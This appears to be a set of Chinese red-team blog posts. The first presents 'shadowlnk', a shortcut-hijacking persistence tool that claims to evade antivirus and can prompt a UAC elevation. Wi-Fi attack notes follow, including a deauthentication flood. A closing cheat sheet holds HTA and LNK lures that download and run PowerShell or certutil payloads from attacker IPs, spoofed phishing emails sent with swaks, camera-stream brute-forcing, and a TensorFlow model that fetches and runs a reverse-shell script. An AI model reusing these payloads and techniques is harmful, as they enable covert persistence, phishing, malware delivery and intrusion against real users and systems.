社之魔法 on wackymaker

基于lnk劫持的权限维持工具-shadowlnk

Mon, 01 Sep 2025 21:20:58 +0800

介绍

当我在研究免杀操作的时候，我发现常规意义上的注册表，启动项还有计划任务这三种基于机器自动化的权限维持手段，在杀软中是被看的很死的，我在学习的过程中很是苦恼。就在这个时候我正好在学习红队的一些基础钓鱼手段，其中利用隐藏文件夹以及lnk伪造文件的形式让我有了灵感，既然机器层面的自启动不好实现，那么人类层面呢？

lnk钓鱼详解

我演示的这就是一个很典型的样本

__MACOSX文件夹下方是

目录外的快捷方式指向其中的bat脚本，其中bat脚本内容是如下：移动我们的载荷并且在启动载荷的同时启动文档。

@echo off
cd /d %~dp0

move /Y 1.exe "C:\Users\Public\Documents\1.exe"

start "" "C:\Users\Public\Documents\1.exe"

timeout /t 1 /nobreak >nul
start "" "1.docx"
taskkill /f /im cmd.exe

当我们将__MACOSX文件夹隐藏后就是一个正常的文件，普通人不会在意这个角标。

但是这个样本还是有问题的，首先是其中的bat文件不免杀，移动文件和启动文件这两个操作单拿出来都不会被杀，但是组合在一起的bat很容易触发国内一些杀软的报警。其次则是在启动的时候还是会伴随短暂的黑框。

我的解决办法是利用，快捷方式调用vbs，也就是所谓的js脚本，js脚本能以黑框启动bat脚本。

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run ".\__MACOSX\1.bat", 0, False

将bat脚本只用于启动载荷和伪装文档

@echo off
cd /d %~dp0
start "" "1.exe"
start "" "1.docx"
taskkill /f /im cmd.exe

如此情况下，就做到了一个简单的钓鱼样本，受害者在点击样本时，先执行我们隐藏的载荷，之后打开文档。

所以我在想，既然红队能通过如此手段诱导受害者点击文件，那么就也可以劫持机器上本身存在的lnk文件，通过劫持受害者常用的快捷方式做到每次开机，由人类来帮助我们上线。

工具实现

为了实现这种效果，我开发了一个小工具 shadowlnk

它有两种主要的使用逻辑，首先是利用-i指定劫持目标，-w指定可写目录（我们需要这个目录来创建隐藏文件夹），-p指定我们的载荷位置。

当成功劫持之后，图标看上去没有变化，连闪烁都不存在，但是它的指向已经被替换为了我们指定的恶意脚本。

执行后也是无感上线

（载荷需要自己做免杀，这个工具本质上是权限维持使用的，为了辅助载荷免杀，此工具也有参数启动选项），可以看到我环境当中还存在360，也是并没有触发警告。

所以这一套操作的流程是如何实现的呢？

首先当接受到图标目标后，shadowslnk会利用解析这个lnk的原指向。这一点是必须的，因为我们不仅需要载荷正常执行，更重要的一点是需要图标维持原样，而原lnk图标并没有内置ico的文件，只是调用了它原指向的目标的图标，这里我利用了go两个第三方库。

"github.com/Kodeworks/golang-image-ico"
"github.com/fcjr/geticon"

他们能从pe文件上剥离ico图标，并用于我们的伪造。

之后shaodwlnk会在我们指定的可写文件夹下创建与指向pe文件名相同的文件夹，并且添加系统属性和隐藏属性，这会使这个文件夹达成与attrib +s +h 一样的效果。

此后shaodwslnk会生成vbs，bat，ico三个文件：

 C:\Users\wacky\Desktop\shadowlnk-test\mgtv-1 的目录

2025/08/10  23:48            15,601 icon.ico
2025/08/10  23:48               130 mgtv-1.bat
2025/08/10  23:48               162 mgtv-1.vbs
2025/08/10  23:48             2,259 芒果TV.lnk
               4 个文件         18,152 字节
               0 个目录 32,365,248,512 可用字节

ico文件是shadowlnk从原程序上剥离的，与原lnk完全一致。vbs脚本用于执行bat脚本，而bat脚本用于执行载荷。

最终，shadowslnk会利用ico生成一个伪造lnk，并与桌面上的同lnk进行调换，至此劫持工作就完成了。

额外参数

这个工具还有两个我额外添加的操作，就是-r参数和-power参数

如果启用了-r参数，shadowlnk会自动的替换桌面上所有lnk文件，并且因为文件夹不重名的原因，兼容性还算不错，整个替换过程中桌面用户是无感的。

但是不建议实战中使用这种效果，因为360以及国内一些杀软会检查自身是否被替换快捷文件，所以一般情况下单个的劫持已经够用了，攻击者完全可以做到落地后检索当前环境，将常用软件lnk劫持替换进行权限维持。

在此之上，如果启用了-power参数，其中的vbs脚本会被替换成如下

这时，当用户启动程序后会弹出uac认证，但vbs本身就是微软程序，所以弹出来的uac认证看上去并不危险，一些人或许会因此稀里糊涂的上钩，让我们进行了权限提升。

可以看到获得的是管理员shell。这一点也需要按需使用，如果一个用户发现自己的浏览器在启动的时候每次都询问管理员权限，也是不太合理不是吗？

总结

这个小东西只是一个我实验性的小玩意，所做的作用就是带给大家一些新的权限维持思路，经过我的测试，在样本免杀的前提下，劫持只要不劫持杀软本身，则在劫持过程中以及触发过程中均不会被杀软报毒，但是我并不希望此工具被恶意利用，本文仅做学习展示，这警醒了防御方在如今内存查杀以及敏感行为的防御检测严格情况下，人类的交互也许是攻击者下手的便捷之道。

aircrack-ng套件

Sat, 30 Aug 2025 23:19:01 +0800

aircrack-ng套件介绍

只要学习无线安全，Aircrack-ng套件就是需要接触的内容，其包含20多种专门用于审核wifi网络的攻击，并且都是命令行，我今天只会简要记录几个常用工具

Airmon-ng(快捷监控)

这个工具能快速将网卡调整至监听状态，并且和iw一样可以选择信道

在此基础上它还存在参数check能检查当前环境是否存在干扰进程，我们在工作的时候可以利用它将这些进程暂时击溃防止干扰

┌──(root㉿kali)-[/home/wackymaker/test]
└─# airmon-ng start wlan0                                                                                                                     

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
    860 NetworkManager
   2855 wpa_supplicant

PHY	Interface	Driver		Chipset

phy1	wlan0		mt7921u		MediaTek Inc. Wireless_Device
        (mac80211 monitor mode vif enabled for [phy1]wlan0 on [phy1]wlan0mon)
        (mac80211 station mode vif disabled for [phy1]wlan0)

                                                                                                                                                     
┌──(root㉿kali)-[/home/wackymaker/test]
└─# iwconfig             
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on

可以看到由airmon启动的监听模式还会给我们换一个名字，这是正常的airmon防止我们识别失误，会启动虚拟网卡，并且这里可以看到有两个进程会干扰我们的工作

也可以使用check来详细输出

┌──(root㉿kali)-[/home/wackymaker/test]
└─# airmon-ng check      

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
    860 NetworkManager
   2855 wpa_supplicant

可以快捷的kill掉干扰进程

┌──(root㉿kali)-[/home/wackymaker/test]
└─# airmon-ng check kill

Killing these processes:

    PID Name
   2855 wpa_supplicant

取消监听

┌──(root㉿kali)-[/home/wackymaker/test]
└─# airmon-ng stop wlan0mon    


PHY	Interface	Driver		Chipset

phy1	wlan0mon	mt7921u		MediaTek Inc. Wireless_Device
        (mac80211 station mode vif enabled on [phy1]wlan0)
        (mac80211 monitor mode vif disabled for [phy1]wlan0mon)

指定监听信道，直接给数字就行了，非常迅速

┌──(root㉿kali)-[/home/wackymaker/test]
└─# airmon-ng start wlan0 11 


PHY	Interface	Driver		Chipset

phy1	wlan0		mt7921u		MediaTek Inc. Wireless_Device
        (mac80211 monitor mode vif enabled for [phy1]wlan0 on [phy1]wlan0mon)
        (mac80211 station mode vif disabled for [phy1]wlan0)

                                                                                                                                                     
┌──(root㉿kali)-[/home/wackymaker/test]

Airodump-ng(数据包捕获)

Airodump-ng专门用于数据包捕获，并且也是之后破解wpa1和wpa2wifi密码的重要依据

其正常显示参数如下

Field	Description
BSSID	Shows the MAC address of the access points. (显示接入点的 MAC 地址)
PWR	Shows the “power” of the network. The higher the number, the better the signal strength. (显示网络的“力量”。数字越高，信号强度越好。)
Beacons	Shows the number of announcement packets sent by the network. (显示网络发送的公告数据包数。)
#Data	Shows the number of captured data packets. (显示捕获的数据包数。)
#/s	Shows the number of data packets captured in the past ten seconds. (显示过去十秒内捕获的数据包数。)
CH	Shows the “Channel” the network runs on. (显示网络运行的“通道”。)
MB	Shows the maximum speed supported by the network. (显示网络支持的最大速度。)
ENC	Shows the encryption method used by the network. (显示网络使用的加密方法。)
CIPHER	Shows the cipher used by the network. (显示网络使用的密码。)
AUTH	Shows the authentication used by the network. (显示网络使用的身份验证。)
ESSID	Shows the name of the network. (显示网络的名称。)
STATION	Shows the MAC address of the client connected to the network. (显示连接到网络的客户端的 MAC 地址。)
RATE	Shows the data transfer rate between the client and the access point. (显示客户端和接入点之间的数据传输速率。)
LOST	Shows the number of data packets lost. (显示丢失的数据包数。)
Packets	Shows the number of data packets sent by the client. (显示客户端发送的数据包数。)
Notes	Shows additional information about the client, such as captured EAPOL or PMKID. (显示有关客户端的其他信息，例如捕获的 EAPOL 或 PMKID。)
PROBES	Shows the list of networks the client is probing for. (显示客户端正在探测的网络列表。)

由于隐私问题不好处理，我建议看我博客的兄弟们接下里使用自己的网卡测试，之后我将只输出命令

输出截获所有数据情况

sudo airodump-ng wlan0mon

可选过滤参数

--bssid 34:29:12:A6:BA:48 #由mac地址筛选ap
--channel 或者 -c $number #由信道筛选ap
--essid "wifi名称" #由wifi名称筛选ap

一般都是要过滤的，要不然看不清输出

默认情况下，airodump-ng 配置为专门扫描在 2.4 GHz 频段上运行的网络。不过，如果无线适配器与 5 GHz 频段兼容，我们可以指示 airodump-ng 利用 –band 选项在其扫描中包含此频率范围。我们可以在此处找到可用于 Wi-Fi 的所有 WLAN 信道和频段的列表。

sudo airodump-ng wlan0mon --band a

a代表5g，b代表11兆限速的2.4g，g代表54兆限速的2.4g

所以想筛选全也可以

sudo airodump-ng wlan0mon --band abg

如果需要导出文件的话

airodump-ng wlan0mon --write wackymaker

会在当前目录生成
wackymaker-01.cap  
wackymaker-01.csv
wackymaker.kismet.csv
wackymaker.kismet.netxml
wackymaker.log.csv

Airgraph-ng(无线拓扑图)

当我们用Airodump-ng抓下来csv后就可以利用Airgraph-ng生成拓扑图，不好用，但是聊胜于无吧，简单记下命令

生成客户端与ap关系图CAPR,生成的图片会可视化当前的ap和客户端连接情况

sudo airgraph-ng -i wacky-01.csv -g CAPR -o CAPR.png

类似如下效果

还可以生成通用探针图CPG生成的图片会可视化当前ap和所有客户端的联系，包括并没有接入或者准备接入网络的客户端

sudo airgraph-ng -i wacky-01.csv -g CPG -o CAPR.png

Aireplay-ng（数据包注入）

我会在后续的学习中具体的讲述它的使用，它是比较重要的一个攻击模块，用于发送数据包攻击

只记两条命令

测试当前网卡是否允许注入

sudo aireplay-ng --test wlan0mon

看到回显
Injection is working!
即可

洪水攻击(取消身份验证攻击)

sudo aireplay-ng -0 5 -a 00:14:6C:7A:41:81 -c 00:0F:B5:32:31:31 wlan0mon

-0 表示取消身份验证
5 是要发送的 deauth 次数（如果您愿意，可以发送多个）;0 表示连续发送它们
-a 00：14：6C：7A：41：81 是接入点的 MAC 地址
-c 00：0F：B5：32：31：31 是要取消身份验证的客户端的 MAC 地址;如果省略，则连接的所有客户端都会被攻击

Airdecap-ng（解密无线流量）

当我们抓取wifi流量包后会发现抓取协议都是802.11

如果想要解密的话，我们需要拥有wifi密钥

未加密数据包可以直接解密

sudo airdecap-ng -b 00:14:6C:7A:41:81 opencapture.cap

Total number of stations seen            0
Total number of packets read           251
Total number of WEP data packets         0
Total number of WPA data packets         0
Number of plaintext data packets         0
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets         0
Number of bad TKIP (WPA) packets         0
Number of bad CCMP (WPA) packets         0

wep加密需要wep密钥

sudo airdecap-ng -w 1234567890ABCDEF wack-01.cap

Total number of stations seen            6
Total number of packets read           356
Total number of WEP data packets       235
Total number of WPA data packets       121
Number of plaintext data packets         0
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets       235
Number of bad TKIP (WPA) packets         0
Number of bad CCMP (WPA) packets         0

wpa加密需要wifi密码和wifi的essid

sudo airdecap-ng -p 'abdefg' wack-01.cap -e "Wireless"

Total number of stations seen            6
Total number of packets read           356
Total number of WEP data packets       235
Total number of WPA data packets       121
Number of plaintext data packets         0
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets       121
Number of bad TKIP (WPA) packets         0
Number of bad CCMP (WPA) packets         0

解密后流量就是正常的

总结

还有一个用于破解密钥的，但是暂不记录，后续破解wifi密码模块会详细说明

wifi网卡简记

Thu, 28 Aug 2025 22:51:00 +0800

wifi接口

无线接口是进行 Wi-Fi 渗透测试的关键。毕竟我们的设备就是通过它们来发送和接收数据的。在选购合适的无线接口时，有很多方面需要考虑。如果选了性能太弱的接口，在渗透测试时可能抓不到任何数据。这一部分就是简单研究一下我买的这个小接口

可以使用iw list查看网卡详细信息，如果我们的目标是wpa3但是网卡不支持就没有意义

┌──(root㉿kali)-[~]
└─# iw list   
Wiphy phy1
        wiphy index: 1
        max # scan SSIDs: 4
        max scan IEs length: 482 bytes
        max # sched scan SSIDs: 10
        max # match sets: 16
        Retry short limit: 7
        Retry long limit: 4
        Coverage class: 0 (up to 0m)
        Device supports AP-side u-APSD.
        Device supports T-DLS.
        Supported Ciphers:
                * WEP40 (00-0f-ac:1)
                * WEP104 (00-0f-ac:5)
                * TKIP (00-0f-ac:2)
                * CCMP-128 (00-0f-ac:4)
                * CCMP-256 (00-0f-ac:10)
                * GCMP-128 (00-0f-ac:8)
                * GCMP-256 (00-0f-ac:9)
                * CMAC (00-0f-ac:6)
                * CMAC-256 (00-0f-ac:13)
                * GMAC-128 (00-0f-ac:11)
                * GMAC-256 (00-0f-ac:12)
        Available Antennas: TX 0x3 RX 0x3
        Configured Antennas: TX 0x3 RX 0x3
        Supported interface modes:
                 * managed
                 * AP
                 * AP/VLAN
                 * monitor
                 * P2P-client
                 * P2P-GO
        Band 1:
                Capabilities: 0x9ff
                        RX LDPC
                        HT20/HT40
                        SM Power Save disabled
                        RX Greenfield
                        RX HT20 SGI
                        RX HT40 SGI
                        TX STBC
                        RX STBC 1-stream
                        Max AMSDU length: 7935 bytes
                        No DSSS/CCK HT40

我省略了一部分，但是上面的信息也差不多了，其支持wpa3协议以及监听模式等

接口强度

大部分的wifi渗透都属于近源渗透，所以如果一张卡的输出太低就会导致我们的攻击范围缩小，所以一张卡的强度决定了我们可以再更远更大的范围运行

可以利用iwconfig直接查看我们网卡的信息

                                                                                                         
┌──(root㉿kali)-[~]
└─# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=3 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on

可以看到我这张卡的输出是3dBm，这是一个非常小的数字，如果一般家用网卡像是“手电筒”，可以照亮一个房间或整栋楼，我这个 3 dBm 的网卡就像一支“蜡烛”，只能照亮你脚下的几米范围。只够自己测试使用

当然，如果你的卡超过20dbm但是还是只显示20dbm的话，就是因为地区锁频率了,修改一下即可

sudo ifconfig wlan0 down
sudo iwconfig wlan0 txpower 30
sudo ifconfig wlan0 up

改变接口的频道和频率

我们可以利用以下命令查看当前可达通道

┌──(root㉿kali)-[~]
└─# iwlist wlan0 channel
wlan0     32 channels in total; available frequencies :
          Channel 01 : 2.412 GHz
          Channel 02 : 2.417 GHz
          Channel 03 : 2.422 GHz
          Channel 04 : 2.427 GHz
          Channel 05 : 2.432 GHz
          Channel 06 : 2.437 GHz
          Channel 07 : 2.442 GHz
          Channel 08 : 2.447 GHz
          Channel 09 : 2.452 GHz
          Channel 10 : 2.457 GHz
          Channel 11 : 2.462 GHz
          Channel 12 : 2.467 GHz
          Channel 13 : 2.472 GHz
          Channel 14 : 2.484 GHz
          Channel 36 : 5.18 GHz
          Channel 40 : 5.2 GHz
          Channel 44 : 5.22 GHz
          Channel 48 : 5.24 GHz
          Channel 52 : 5.26 GHz
          Channel 56 : 5.28 GHz
          Channel 60 : 5.3 GHz
          Channel 64 : 5.32 GHz
          Channel 100 : 5.5 GHz
          Channel 104 : 5.52 GHz
          Channel 108 : 5.54 GHz
          Channel 112 : 5.56 GHz
          Channel 116 : 5.58 GHz
          Channel 120 : 5.6 GHz
          Channel 124 : 5.62 GHz
          Channel 128 : 5.64 GHz
          Channel 132 : 5.66 GHz

可以看到我的卡虽然强度不高，但是频段支持的比较多，频道（Channel）和频率（Frequency）在 Wi-Fi 中是紧密相关的

频率是无线电波的物理属性，表示wifi信号在某个频率振荡，而信道是wifi协定中的逻辑编号，用来管理频率，其实也没必要区分，它们俩就是绑定的关系

人们更喜欢记编号而不是小数点的赫兹

我们可以通过以下命令调整wifi应用的信道或者频率，这样能使我们的目标缩减大部分

sudo ifconfig wlan0 down
sudo iwconfig wlan0 channel 64 #调整信道到64
#或者在这一步调整频率，效果都是一样的
sudo iwconfig wlan0 freq "5.52G" #调整频率为5.52G
sudo ifconfig wlan0 up

当调整完毕后，我们用如下命令查看

┌──(root㉿kali)-[~]
└─# sudo ifconfig wlan0 down 
                                                                                                         
┌──(root㉿kali)-[~]
└─# sudo iwconfig wlan0 channel 64  
                                                                                                         
┌──(root㉿kali)-[~]
└─# sudo ifconfig wlan0 up         
                                                                                                         
┌──(root㉿kali)-[~]
└─# iwlist wlan0 frequency | grep Current       
          Current Frequency:5.32 GHz (Channel 64)

想要取消锁定只需要调会自动即可

sudo iwconfig wlan0 channel auto

接口模式

网卡接口允许不同的模式，以便进行不同的工作方式

托管模式(Managed)

最常见的形态，允许我们连接ap点进行无线连接

sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode managed
sudo ifconfig wlan0 up

临时模式（Ad-hoc）

一般用于去中心化的连接，也就是点对点的连接，用于住宅内部自设系统

大部分情况下这是两个桥接在一起的接口，所以需要指定桥接对象

sudo iwconfig wlan0 mode ad-hoc
sudo iwconfig wlan0 essid wackymaker

中心模式（master）

这种模式，我们会成为一个ap点，所以不能简单的利用iwconfig进行设置，需要配置所谓的管理守护模式

wackymaker@kali[/kali]$ nano open.conf

interface=wlan0
driver=nl80211
ssid=Hello-World
channel=2
hw_mode=g

这段配置的意思是用 wlan0 网卡，通过 nl80211 驱动，在 2.4GHz 第 2 信道上，开一个名为 Hello-World 的 Wi-Fi AP，工作模式是 802.11g（即 2.4G，速率可达 54Mbps）。

可以利用如下命令启动

sudo hostapd open.conf

节点模式（mesh）

节点模式是个有意思的模式，类似于临时模式是一种点对点的模式，但是不一样的是，当一个节点连入另一个节点后会自动的连接此节点连接的其他节点，如果节点 A 和节点 C 之间距离太远，但 A 和 B、B 和 C 能连上，那么数据就会 A → B → C 自动转发。这样 Mesh 网络可以覆盖非常大的区域。

设置节点模式

sudo iw dev wlan0 set type mesh

监听模式（Monitor）

我们wifi渗透测试最常用的节点，用于监听整个无线环境的连接，也能用来抓取连接包

sudo ifconfig wlan0 down
sudo iw wlan0 set monitor control
sudo ifconfig wlan0 up

今天就学到这里

802.11帧介绍

Wed, 27 Aug 2025 20:57:07 +0800

802.11帧简介

有线网络传输以太网帧而wifi无线网传输802.11帧，802.11帧数是ieee（电气和电子工程协会）定义的wifi标准系列，当我们的设备通过无线接入点（AP）通信的时候，双方并不是直接发送流量包，而是先通过802.11MAC层帧在空中交换信息，这些帧包括控制，管理和数据，共同构成wifi的整个连接和通信过程

802.11 mac帧介绍

这里需要注意mac帧的意思是 **MAC（Media Access Control）**帧翻译过来是介质访问控制，是专用于在介质（网线，光纤，无线电波）中用于控制访问的一种机制，并不是mac地址或者是mac电脑的意思

所有的802.11帧都使用mac帧，此框架适用于客户端和接入点甚至自组织网络中执行工作的通信基础，mac数据帧由9个字段组成

Frame Control（帧控制）

Duration / ID（持续时间/ID）

Address 1（接收地址/RA）

Address 2（发送地址/TA）

Address 3（BSSID 或目标地址）

Sequence Control（序列控制）

Address 4（仅在 WDS 桥接等场景中使用）

Frame Body（数据/管理信息）

FCS（Frame Check Sequence，CRC）

IEEE 802.11帧类型

ieee框架可根据题目的作用和参与的工作分为不同的类别，一般来说会由有以下几种

Management(00) ：用于管理和控制，并允许介入点和客户端控制活动链接
Control(01) ：控制帧用来管理员wifi网络内数据帧的传输和接受
Data(10) ：数据帧用于传输数据

管理帧子类型

对于wifi渗透测试，我们专注于管理管理框架。比较这些帧用于控制连接

如果在wireshark中过滤他们，我们应该指定类型00（指定管理帧）和子类型，如下所示

Beacon Frames 信标框架（1000）

信标帧主要用于接入点用于将其存在传输工作站用的帧，其中包括支持的密码，身份验证类型，ssid以及支持的数据速率等信息

Probe Requests and Responses 探测请求与响应（0100与0101）

探测请求与响应过程的存在是为了允许客户端发现附近的接入点。简单来说，不管一个网络是隐藏的还是不隐藏的，客户端都会发一个“探测请求”，里面写着它要找的 Wi-Fi 名字（SSID）。接入点收到之后，就会回一个“探测响应”，告诉客户端关于自己的信息。

Authentication Request and Response 身份验证请求和响应（1011）

在客户端发出认证请求并完成认证流程之后，它会再给接入点（AP）发一个“关联请求”。AP收到后会回一个“关联响应”，告诉客户端它能不能正式连上自己。

Disassociation/Deauthentication Frames（取消关联/取消身份验证帧）（1010，1100）

关联和认证帧，它们的作用是用来中断接入点（AP）和客户端之间的连接。这类帧里还带有一个叫做“原因码（reason code）”的东西，用来说明为什么客户端会被断开。在 Wi-Fi 渗透测试中，我们经常会伪造这类帧，用来抓取握手包，或者发起拒绝服务攻击（DoS）。

连接周期

当我们理解前面管理帧子帧的时候，我们就可以对其排序来对应wifi连接过程中的典型连接过程（这里介绍的是wpa2身份验证，尽管此过程wifi不同的标准并不会完全一致，但是一般的连接周期遵循这个顺序

Beacon Frames
Probe Request and Response
Authentication Request and Response
Association Request and Response
Some form of handshake or other security mechanism
Disassociation/Deauthentication

接下来我们利用实体wifi环境进行抓包测试

抓包实操

linux连接wifi

接下来的操作我想通过kali操作，所以还需要介绍一下linux中通过命令行进行wifi连接的过程，（需要搞定一张无线网卡，最好具有监听功能，后续学习会运用到

┌──(root㉿kali)-[~]
└─# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=3 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on

当我们利用iwconfig列出无线网卡的时候，有网卡回显则是网卡连接成功

接下来我们需要利用nmxli来进行wifi连接的操作，它是linux下网络管理的命令行工具，几乎所有主流发行版都自带，作用主要是用于管理网络接口，wifi连接vpn等

使用方法

nmcli [OPTIONS] OBJECT { COMMAND | help }


常用对象（OBJECT）：
dev → 设备（device）
con → 连接配置（connection）
wifi → Wi-Fi 网络相关

比如我们可以在网卡正常使用的时候利用如下命令查看附近ap接入点

nmcli dev wifi list

当列出wifi的ssid后我们就可以进行连接

nmcli dev wifi connect "SSID" password "PASSWORD" ifname wlan0

查看当前连接

nmcli con show --active

断开连接并删除记录

nmcli con down id "SSID"

nmcli con delete id "SSID"

注意，如果我们不删除记录，可能在再次连接wifi的时候出现无法找到加密报错

Error: 802-11-wireless-security.key-mgmt: property is missing.

出现这种报错直接删除此wifi记录，或者手动指定加密方式(我给出的示例是wpa2)

nmcli dev wifi connect "SSID" password "PASSWORD" ifname wlan0 wifi-sec.key-mgmt wpa-psk

wireshark包分析

我们如果自身连接的话，是不允许抓取管理帧内容的，所以我们需要将网卡调整至监听模式，相关命令如下

sudo ip link set wlan0 down #关闭网卡
sudo iw dev wlan0 set type monitor #将网卡设置为监听模式
or
sudo iw dev wlan0 set type managed #将网卡设置为普通模式
sudo ip link set wlan0 up #启动网卡
iwconfig wlan0 #查看当前网卡模式

当我们将网卡切换监听模式后，wireshark会抓到大量数据包

我们可以通过wireshark中的语法以及以上我们学习的帧类型进行查找

查找来自ap的接入帧：(wlan.fc.type == 0) && (wlan.fc.type_subtype == 8)

查找来自ap的探测请求帧：(wlan.fc.type == 0) && (wlan.fc.type_subtype == 4)

查找来自ap的探测响应帧：(wlan.fc.type == 0) && (wlan.fc.type_subtype == 5)

这里我抓包的时候并未请求响应所以显示的包为，所以找了htb文章的图片

可以用以下过滤器查找客户端和接入点之间的身份验证过程：(wlan.fc.type == 0) && (wlan.fc.type_subtype == 11)

请求结束后，可以抓取到关联请求：(wlan.fc.type == 0) && (wlan.fc.type_subtype == 0)

查看关联响应：(wlan.fc.type == 0) && (wlan.fc.type_subtype == 1)

如果网络使用wpa2，可以使用EAPOL查看握手帧

连接完成后，可以通过如下过滤器查看取消关联帧或者身份验证帧:(wlan.fc.type == 0) && (wlan.fc.type_subtype == 12) or (wlan.fc.type_subtype == 10)

渊蜂之书

Sat, 23 Aug 2025 21:25:37 +0800

钓鱼相关

.hta加载js源码

（逐渐抛弃，特定情况再使用，容易被浏览器沙箱gank）

<html>
<head>
<script language="JScript">
  var shell = new ActiveXObject("WScript.Shell");
  shell.Run("powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://攻击机IP/shell.ps1')");
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

lnk投放（快捷方式-命令执行）

首先需要在测试环境生成

加载反射源码

$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:USERPROFILE\Desktop\update.lnk")
$Shortcut.TargetPath = "cmd.exe"
$Shortcut.Arguments = "/c powershell -ExecutionPolicy Bypass -WindowStyle Hidden -c `"IEX(New-Object Net.WebClient).DownloadString('http://192.168.174.129:88/shell.ps1')`""
$Shortcut.WindowStyle = 7
$Shortcut.IconLocation = "C:\Windows\System32\shell32.dll,3"
$Shortcut.Save()

远程下载木马执行（无powershell）

$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:USERPROFILE\Desktop\update.lnk")
$Shortcut.TargetPath = "cmd.exe"
$Shortcut.Arguments = "/c certutil -urlcache -split -f http://192.168.174.129:88/fuck.exe C:\Windows\Tasks\fuck.exe && C:\Windows\Tasks\fuck.exe"
$Shortcut.WindowStyle = 7  # 最小化窗口
$Shortcut.IconLocation = "C:\Windows\System32\shell32.dll,23"  # 文档图标
$Shortcut.Save()

也可以利用下面的命令反向查找lnk文件指向

powershell -c "$sh = New-Object -ComObject WScript.Shell; $sh.CreateShortcut('.\target.lnk').TargetPath"

wsh载荷构筑（js载荷构筑，csharp载荷转换js）

dontnettojscript 转换命令

DotNetToJScript.exe ExampleAssembly.dll --lang=jscript --var=v4 -o shell.js

邮件方向利用

smtp枚举用户名

使用工具

github.com/cytopia/smtp-user-enum?tab=readme-ov-file#smiling_imp-vrfy-mode-default

RCPT TO模式（指点收件人发送，模拟正常邮件）

smtp-user-enum -U /home/wackymaker/tools/dic/userNameDict/multiplesources-users-fabian-fingerle.de.txt -D $domain -t $ip -m $线程数 -p $port -M RCPT

VRFY模式(默认的直接测试模式)

smtp-user-enum -U /home/wackymaker/tools/dic/userNameDict/multiplesources-users-fabian-fingerle.de.txt -D $domain -t $ip -m $线程数 -p $port

邮件钓鱼-投放载荷or恶意链接

一般需要将各种模式都测试一下

swaks-邮件伪造

附带文件

swaks --to jobs@cowmotors-int.com --from amit@rocks.com --header "Subject: My CV" --body "Attached my CV to this mail, thank you!" --attach @rev.doc --server 192.168.209.201

钓鱼链接

swaks --body 'Please click here http://192.168.45.164/payload.hta' --add-header "MIME-Version: 1.0" --add-header "Content-Type:text/html" --header "Subject: Issues with mail" --to Will@tricky.com --from will01@tricky.com --server 192.168.105.159

摄像头方向利用

rstp服务利用

如果侦测到存在rstp服务，也就是实时视频流服务，例如

┌──(wackymaker㉿kali)-[~/tmp/prolab/fullhouse/10.0.52.5]
└─$ nmap -p 22,554 -sC -sV $ip
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-07 10:33 EDT
Nmap scan report for 10.0.52.5
Host is up (0.063s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.3 (FreeBSD 20230316; protocol 2.0)
| ssh-hostkey: 
|   3072 da:27:2d:b4:15:43:bf:71:21:50:a8:b5:e7:3f:fa:10 (RSA)
|   256 fb:cf:94:03:5b:a4:1c:85:b4:51:94:26:7c:cf:6e:0f (ECDSA)
|_  256 f6:0d:01:16:88:0f:c5:45:8d:67:6d:f3:63:11:8f:7c (ED25519)
554/tcp open  rtsp    GStreamer rtspd
|_rtsp-methods: OPTIONS, DESCRIBE, ANNOUNCE, GET_PARAMETER, PAUSE, PLAY, RECORD, SETUP, SET_PARAMETER, TEARDOWN
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.96 seconds

利用nmap脚本爆破无认证路径

脚本获取
https://blog.victormendonca.com/2018/02/09/how-to-scan-for-rtsp-urls/

nmap --script rtsp-url-brute.nse -p 554 $ip -T2

如果爆破出路径例下

└─$ nmap --script rtsp-url-brute.nse -p 554 10.0.52.5 -T2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-07 11:05 EDT
Nmap scan report for 10.0.52.5
Host is up (0.27s latency).

PORT    STATE SERVICE
554/tcp open  rtsp
| rtsp-url-brute: 
|   discovered: 
|_    rtsp://10.0.52.5/mpeg4

Nmap done: 1 IP address (1 host up) scanned in 59.19 seconds

就可以利用ffmpeg截取视频流

ffmpeg -rtsp_transport tcp -i rtsp://1$ip/mpeg4 -c copy out.mp4

ai方向利用

ai语音克隆

好用的网站
https://app.play.ht/home（付费下载）
https://fish.audio（免费）

tensorflow投毒

文章如下

https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model

示例生成模型代码

import tensorflow as tf

def exploit(x):
    import os
    command = '''powershell -nop -c "Invoke-WebRequest http://10.0.52.31:8000/rev.ps1 -OutFile C:\\Users\\Public\\rev.ps1";powershell -ExecutionPolicy Bypass -File "C:\\Users\\Public\\rev.ps1"'''
    os.system(command)
    return x

model = tf.keras.Sequential()
